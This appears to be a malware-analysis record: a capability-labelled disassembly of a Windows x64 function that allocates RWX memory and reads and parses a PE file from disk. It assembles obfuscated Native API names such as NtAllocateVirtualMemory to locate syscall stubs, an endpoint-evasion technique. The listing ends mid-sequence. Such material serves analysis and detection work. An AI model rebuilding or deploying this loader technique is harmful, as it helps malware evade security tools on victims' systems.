Function at 0x1400038e9
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3370
call fcn.140015880
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.1400148b0
call fcn.1400015c3
mov dword [rbp + 0x1fc], 0
mov qword [rbp + 0x1f0], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x1e0], 0
mov rax, qword [0x1400f1448]
mov qword [rbp + 0x1d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x32d8], eax
mov eax, dword [rbp + 0x32d8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x32d0], rax
mov rax, qword [rbp + 0x32d0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x32c8], rax
mov rax, qword [rbp + 0x32c8]
add rax, 0x17
mov qword [rbp + 0x32c0], rax
mov rax, qword [rbp + 0x32c0]
add rax, 0x17
mov qword [rbp + 0x32b8], rax
mov rax, qword [rbp + 0x32b8]
add rax, 0x17
mov qword [rbp + 0x32b0], rax
mov rax, qword [rbp + 0x32b0]
add rax, 0x17
mov qword [rbp + 0x32a8], rax
mov rax, qword [rbp + 0x32a8]
add rax, 0x17
mov qword [rbp + 0x32a0], rax
mov rax, qword [rbp + 0x32a0]
add rax, 0x17
mov qword [rbp + 0x3298], rax
mov rax, qword [rbp + 0x3298]
add rax, 0x17
mov qword [rbp + 0x3290], rax
mov rax, qword [rbp + 0x3290]
add rax, 0x17
mov qword [rbp + 0x3288], rax
mov rax, qword [rbp + 0x3288]
add rax, 0x17
mov qword [rbp + 0x3280], rax
mov rax, qword [rbp + 0x3280]
add rax, 0x17
mov qword [rbp + 0x3278], rax
mov rax, qword [rbp + 0x3278]
add rax, 0x17
mov qword [rbp + 0x3270], rax
mov rax, qword [rbp + 0x3270]
add rax, 0x17
mov qword [rbp + 0x3268], rax
mov rax, qword [rbp + 0x3268]
add rax, 0x17
mov qword [rbp + 0x3260], rax
mov rax, qword [rbp + 0x3260]
add rax, 0x17
mov qword [rbp + 0x3258], rax
mov rax, qword [rbp + 0x3258]
add rax, 0x17
mov qword [rbp + 0x3250], rax
mov rax, qword [rbp + 0x3250]
add rax, 0x17
mov qword [rbp + 0x3248], rax
mov rax, qword [rbp + 0x3248]
add rax, 0x17
mov qword [rbp + 0x3240], rax
mov dword [rbp + 0x1cc], 0
mov qword [rbp + 0x3238], 0
mov dword [rbp + 0x3234], 0
mov dword [rbp + 0x1c8], 0
mov qword [rbp + 0x3228], 0
mov rax, qword [rbp + 0x32c8]
mov qword [0x140123038], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x32c8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x32c0]
mov qword [0x140123040], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x32c0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x32b8]
mov qword [0x140123048], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x32b8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x32b0]
mov qword [0x140123050], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x32b0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x32a8]
mov qword [0x140123058], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x32a8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x32a0]
mov qword [0x140123060], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x32a0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3298]
mov qword [0x140123068], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3298]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3290]
mov qword [0x140123070], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3290]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3288]
mov qword [0x140123078], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3288]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3280]
mov qword [0x140123080], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3280]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3278]
mov qword [0x140123088], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3278]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3270]
mov qword [0x140123090], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3270]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3268]
mov qword [0x140123098], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3268]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3260]
mov qword [0x1401230a0], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3260]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3258]
mov qword [0x1401230a8], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3258]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3250]
mov qword [0x1401230b0], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3250]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3248]
mov qword [0x1401230b8], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3248]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3240]
mov qword [0x1401230c0], rax
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x3240]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400f5519]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x3238], rax
mov rax, qword [rbp + 0x3238]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x3234], eax
mov esi, dword [rbp + 0x3234]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x3228], rax
lea r8, [rbp + 0x1c8]
mov ecx, dword [rbp + 0x3234]
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3238]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x3228]
mov qword [rbp + 0x3220], rax
mov rax, qword [rbp + 0x3220]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3228]
add rax, rdx
mov qword [rbp + 0x3218], rax
mov rax, qword [rbp + 0x3218]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x3214], eax
mov rax, qword [rbp + 0x3218]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x3218]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x32e8], rax
mov rax, qword [rbp + 0x32e8]
mov qword [rbp + 0x3208], rax
mov rax, qword [rbp + 0x32e8]
mov qword [rbp + 0x32e0], rax
mov dword [rbp + 0x32dc], 0
jmp 0x140004060
mov rax, qword [rbp + 0x32e8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140004051
mov rax, qword [rbp + 0x32e8]
mov qword [rbp + 0x32e0], rax
jmp 0x140004076
add qword [rbp + 0x32e8], 0x28
add dword [rbp + 0x32dc], 1
mov rax, qword [rbp + 0x3218]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x32dc], eax
jl 0x140004027
mov edx, dword [rbp + 0x3214]
mov rax, qword [rbp + 0x3228]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x32e0]
mov rdx, rax
call fcn.14000145c
mov qword [rbp + 0x3200], rax
lea rax, [rbp + 0x4cf]
mov qword [rbp + 0x31e0], rax
nop
nop
lea rdx, [rbp + 0x4cf]
lea rax, [rbp + 0x4a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x1400f5542]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x440]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x400]
lea rdx, [rbp + 0x420]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x3e0]
lea rdx, [rbp + 0x400]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x3e0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x3a0]
lea rdx, [rbp + 0x3c0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x380]
lea rdx, [rbp + 0x3a0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x380]
lea r8, [0x1400f554e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x360]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x1400f5556]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x200]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x380]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x3a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x3c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x4cf]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x4d0]
mov rcx, qword [rbp + 0x32c8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x14000451e
lea rsi, [0x1400f555c]
jmp 0x140004525
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x77f]
mov qword [rbp + 0x31d8], rax
nop
nop
lea rdx, [rbp + 0x77f]
lea rax, [rbp + 0x750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x6f0]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x6b0]
lea rdx, [rbp + 0x6d0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x690]
lea rdx, [rbp + 0x6b0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x670]
lea rdx, [rbp + 0x690]
lea r8, [0x1400f554e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x650]
lea rdx, [rbp + 0x670]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x630]
lea rdx, [rbp + 0x650]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x610]
lea rdx, [rbp + 0x630]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x1400f5556]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x4f0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x630]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x650]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x670]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x690]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x77f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x780]
mov rcx, qword [rbp + 0x32c0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x14000496b
lea rsi, [0x1400f555c]
jmp 0x140004972
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0xa6f]
mov qword [rbp + 0x31d0], rax
nop
nop
lea rdx, [rbp + 0xa6f]
lea rax, [rbp + 0xa40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x1400f557c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x9c0]
lea rdx, [rbp + 0x9e0]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x9a0]
lea rdx, [rbp + 0x9c0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x980]
lea rdx, [rbp + 0x9a0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x960]
lea rdx, [rbp + 0x980]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x940]
lea rdx, [rbp + 0x960]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x920]
lea rdx, [rbp + 0x940]
lea r8, [0x1400f554e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x900]
lea rdx, [rbp + 0x920]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x8e0]
lea rdx, [rbp + 0x900]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x1400f5556]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x7a0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x900]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x920]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x940]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x960]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x980]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xa6f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0xa70]
mov rcx, qword [rbp + 0x32b8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140004e10
lea rsi, [0x1400f555c]
jmp 0x140004e17
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0xc9f]
mov qword [rbp + 0x31c8], rax
nop
nop
lea rdx, [rbp + 0xc9f]
lea rax, [rbp + 0xc70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x1400f557e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xbf0]
lea rdx, [rbp + 0xc10]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xbd0]
lea rdx, [rbp + 0xbf0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xbb0]
lea rdx, [rbp + 0xbd0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xb90]
lea rdx, [rbp + 0xbb0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xb70]
lea rdx, [rbp + 0xb90]
lea r8, [0x1400f5580]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xb50]
lea rdx, [rbp + 0xb70]
lea r8, [0x1400f5582]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xb30]
